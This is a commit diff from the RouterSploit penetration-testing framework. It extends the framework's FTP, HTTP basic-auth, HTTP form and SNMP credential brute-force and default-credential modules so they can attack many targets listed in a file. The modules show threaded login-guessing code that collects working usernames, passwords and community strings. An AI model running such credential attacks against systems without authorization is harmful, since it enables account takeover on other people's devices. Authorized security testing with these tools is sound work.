Skip to content

Commit 43490ed

Browse files
committed
Adding support for targets from file.
1 parent 47c1876 commit 43490ed

File tree

11 files changed

+113
-69
lines changed

11 files changed

+113
-69
lines changed

routersploit/modules/creds/ftp_bruteforce.py

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
print_success,
1313
print_table,
1414
boolify,
15+
multi,
1516
)
1617

1718

@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
2728
]
2829
}
2930

30-
target = exploits.Option('', 'Target IP address')
31+
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
3132
port = exploits.Option(21, 'Target port')
3233

3334
threads = exploits.Option(8, 'Number of threads')
@@ -39,6 +40,10 @@ class Exploit(exploits.Exploit):
3940

4041
def run(self):
4142
self.credentials = []
43+
self.attack()
44+
45+
@multi
46+
def attack(self):
4247
ftp = ftplib.FTP()
4348
try:
4449
ftp.connect(self.target, port=int(self.port), timeout=10)
@@ -66,7 +71,7 @@ def run(self):
6671

6772
if len(self.credentials):
6873
print_success("Credentials found!")
69-
headers = ("Login", "Password")
74+
headers = ("Target", "Port", "Login", "Password")
7075
print_table(headers, *self.credentials)
7176
else:
7277
print_error("Credentials not found")
@@ -103,10 +108,10 @@ def target_function(self, running, data):
103108
ftp.login(user, password)
104109

105110
running.clear()
106-
print_success("{}: Authentication succeed!".format(name), user, password, verbose=module_verbosity)
107-
self.credentials.append((user, password))
111+
print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
112+
self.credentials.append((self.target, self.port, user, password))
108113
except:
109-
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password), verbose=module_verbosity)
114+
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
110115

111116
ftp.close()
112117

routersploit/modules/creds/ftp_default.py

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@
1111
print_success,
1212
print_table,
1313
boolify,
14+
multi,
1415
)
1516

1617

@@ -26,7 +27,7 @@ class Exploit(exploits.Exploit):
2627
]
2728
}
2829

29-
target = exploits.Option('', 'Target IP address')
30+
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
3031
port = exploits.Option(21, 'Target port')
3132

3233
threads = exploits.Option(8, 'Numbers of threads')
@@ -37,6 +38,10 @@ class Exploit(exploits.Exploit):
3738

3839
def run(self):
3940
self.credentials = []
41+
self.attack()
42+
43+
@multi
44+
def attack(self):
4045
ftp = ftplib.FTP()
4146
try:
4247
ftp.connect(self.target, port=int(self.port), timeout=10)
@@ -58,7 +63,7 @@ def run(self):
5863

5964
if len(self.credentials):
6065
print_success("Credentials found!")
61-
headers = ("Login", "Password")
66+
headers = ("Target", "Port", "Login", "Password")
6267
print_table(headers, *self.credentials)
6368
else:
6469
print_error("Credentials not found")
@@ -95,10 +100,10 @@ def target_function(self, running, data):
95100
ftp.login(user, password)
96101

97102
running.clear()
98-
print_success("{}: Authentication succeed!".format(name), user, password, verbose=module_verbosity)
99-
self.credentials.append((user, password))
103+
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
104+
self.credentials.append((self.target, self.port, user, password))
100105
except:
101-
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password), verbose=module_verbosity)
106+
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
102107

103108
ftp.close()
104109

routersploit/modules/creds/http_basic_bruteforce.py

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
import threading
2-
import requests
32
import itertools
43

54
from routersploit import (
@@ -11,7 +10,9 @@
1110
print_success,
1211
print_table,
1312
sanitize_url,
13+
http_request,
1414
boolify,
15+
multi,
1516
)
1617

1718

@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
2728
]
2829
}
2930

30-
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
31+
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
3132
port = exploits.Option(80, 'Target port')
3233

3334
threads = exploits.Option(8, 'Numbers of threads')
@@ -40,18 +41,17 @@ class Exploit(exploits.Exploit):
4041

4142
def run(self):
4243
self.credentials = []
44+
self.attack()
45+
46+
@multi
47+
def attack(self):
4348
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
4449

45-
try:
46-
r = requests.get(url, verify=False)
47-
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
48-
print_error("Invalid URL format: %s" % url)
49-
return
50-
except requests.exceptions.ConnectionError:
51-
print_error("Connection error: %s" % url)
50+
response = http_request(method="GET", url=url)
51+
if response is None:
5252
return
5353

54-
if r.status_code != 401:
54+
if response.status_code != 401:
5555
print_status("Target is not protected by Basic Auth")
5656
return
5757

@@ -71,7 +71,7 @@ def run(self):
7171

7272
if len(self.credentials):
7373
print_success("Credentials found!")
74-
headers = ("Login", "Password")
74+
headers = ("Target", "Port", "Login", "Password")
7575
print_table(headers, *self.credentials)
7676
else:
7777
print_error("Credentials not found")
@@ -88,14 +88,15 @@ def target_function(self, running, data):
8888
user, password = data.next()
8989
user = user.encode('utf-8').strip()
9090
password = password.encode('utf-8').strip()
91-
r = requests.get(url, auth=(user, password), verify=False)
9291

93-
if r.status_code != 401:
92+
response = http_request(method="GET", url=url, auth=(user, password))
93+
94+
if response.status_code != 401:
9495
running.clear()
95-
print_success("{}: Authentication succeed!".format(name), user, password, verbose=module_verbosity)
96-
self.credentials.append((user, password))
96+
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
97+
self.credentials.append((self.target, self.port, user, password))
9798
else:
98-
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password), verbose=module_verbosity)
99+
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
99100
except StopIteration:
100101
break
101102

routersploit/modules/creds/http_basic_default.py

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
import threading
2-
import requests
32

43
from routersploit import (
54
exploits,
@@ -12,7 +11,7 @@
1211
sanitize_url,
1312
boolify,
1413
http_request,
15-
multi
14+
multi,
1615
)
1716

1817

@@ -28,7 +27,7 @@ class Exploit(exploits.Exploit):
2827
]
2928
}
3029

31-
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
30+
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
3231
port = exploits.Option(80, 'Target port')
3332
threads = exploits.Option(8, 'Number of threads')
3433
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
@@ -82,14 +81,15 @@ def target_function(self, running, data):
8281
line = data.next().split(":")
8382
user = line[0].encode('utf-8').strip()
8483
password = line[1].encode('utf-8').strip()
85-
r = requests.get(url, auth=(user, password), verify=False)
8684

87-
if r.status_code != 401:
85+
response = http_request(method="GET", url=url, auth=(user, password))
86+
87+
if response.status_code != 401:
8888
running.clear()
89-
print_success("Target: {}:{} {}: Authentication succeed!".format(self.target, self.port, name), user, password, verbose=module_verbosity)
89+
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
9090
self.credentials.append((self.target, self.port, user, password))
9191
else:
92-
print_error(name, "Target: {}:{} Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, user, password), verbose=module_verbosity)
92+
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
9393
except StopIteration:
9494
break
9595

routersploit/modules/creds/http_form_bruteforce.py

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
print_table,
1414
sanitize_url,
1515
boolify,
16+
multi,
1617
)
1718

1819

@@ -28,7 +29,7 @@ class Exploit(exploits.Exploit):
2829
]
2930
}
3031

31-
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
32+
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
3233
port = exploits.Option(80, 'Target port')
3334
threads = exploits.Option(8, 'Number of threads')
3435
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
@@ -43,6 +44,10 @@ class Exploit(exploits.Exploit):
4344

4445
def run(self):
4546
self.credentials = []
47+
self.attack()
48+
49+
@multi
50+
def attack(self):
4651
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
4752

4853
try:
@@ -85,7 +90,7 @@ def run(self):
8590

8691
if len(self.credentials):
8792
print_success("Credentials found!")
88-
headers = ("Login", "Password")
93+
headers = ("Target", "Port", "Login", "Password")
8994
print_table(headers, *self.credentials)
9095
else:
9196
print_error("Credentials not found")
@@ -155,10 +160,10 @@ def target_function(self, running, data):
155160

156161
if l < self.invalid["min"] or l > self.invalid["max"]:
157162
running.clear()
158-
print_success("{}: Authentication succeed!".format(name), user, password, verbose=module_verbosity)
159-
self.credentials.append((user, password))
163+
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
164+
self.credentials.append((self.target, self.port, user, password))
160165
else:
161-
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password), verbose=module_verbosity)
166+
print_error(name, "Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
162167
except StopIteration:
163168
break
164169

routersploit/modules/creds/http_form_default.py

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
print_table,
1313
sanitize_url,
1414
boolify,
15+
multi,
1516
)
1617

1718

@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
2728
]
2829
}
2930

30-
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
31+
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
3132
port = exploits.Option(80, 'Target port')
3233
threads = exploits.Option(8, 'Number of threads')
3334
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
@@ -41,6 +42,10 @@ class Exploit(exploits.Exploit):
4142

4243
def run(self):
4344
self.credentials = []
45+
self.attack()
46+
47+
@multi
48+
def attack(self):
4449
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
4550

4651
try:
@@ -78,7 +83,7 @@ def run(self):
7883

7984
if len(self.credentials):
8085
print_success("Credentials found!")
81-
headers = ("Login", "Password")
86+
headers = ("Target", "Port", "Login", "Password")
8287
print_table(headers, *self.credentials)
8388
else:
8489
print_error("Credentials not found")
@@ -148,10 +153,10 @@ def target_function(self, running, data):
148153

149154
if l < self.invalid["min"] or l > self.invalid["max"]:
150155
running.clear()
151-
print_success("{}: Authentication succeed!".format(name), user, password, verbose=module_verbosity)
152-
self.credentials.append((user, password))
156+
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
157+
self.credentials.append((self.target, self.port, user, password))
153158
else:
154-
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password), verbose=module_verbosity)
159+
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
155160
except StopIteration:
156161
break
157162

routersploit/modules/creds/snmp_bruteforce.py

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
print_success,
1111
print_table,
1212
boolify,
13+
multi,
1314
)
1415

1516

@@ -23,7 +24,7 @@ class Exploit(exploits.Exploit):
2324
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
2425
}
2526

26-
target = exploits.Option('', 'Target IP address')
27+
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
2728
port = exploits.Option(161, 'Target port')
2829
threads = exploits.Option(8, 'Number of threads')
2930
snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)')
@@ -32,7 +33,11 @@ class Exploit(exploits.Exploit):
3233
strings = []
3334

3435
def run(self):
35-
self.strings= []
36+
self.strings = []
37+
self.attack()
38+
39+
@multi
40+
def attack(self):
3641

3742
# todo: check if service is up
3843

@@ -46,7 +51,7 @@ def run(self):
4651

4752
if len(self.strings):
4853
print_success("Credentials found!")
49-
headers = tuple(["Community Strings"])
54+
headers = ("Target", "Port", "Community Strings")
5055
print_table(headers, *self.strings)
5156
else:
5257
print_error("Valid community strings not found")
@@ -67,10 +72,10 @@ def target_function(self, running, data):
6772

6873
if res[0] is not None:
6974
running.clear()
70-
print_success("{}: Valid community string found!".format(name), string, verbose=module_verbosity)
71-
self.strings.append(tuple([string]))
75+
print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
76+
self.strings.append((self.target, self.port, string))
7277
else:
73-
print_error("{}: Invalid community string.".format(name), string, verbose=module_verbosity)
78+
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
7479

7580
except StopIteration:
7681
break

0 commit comments

Comments
 (0)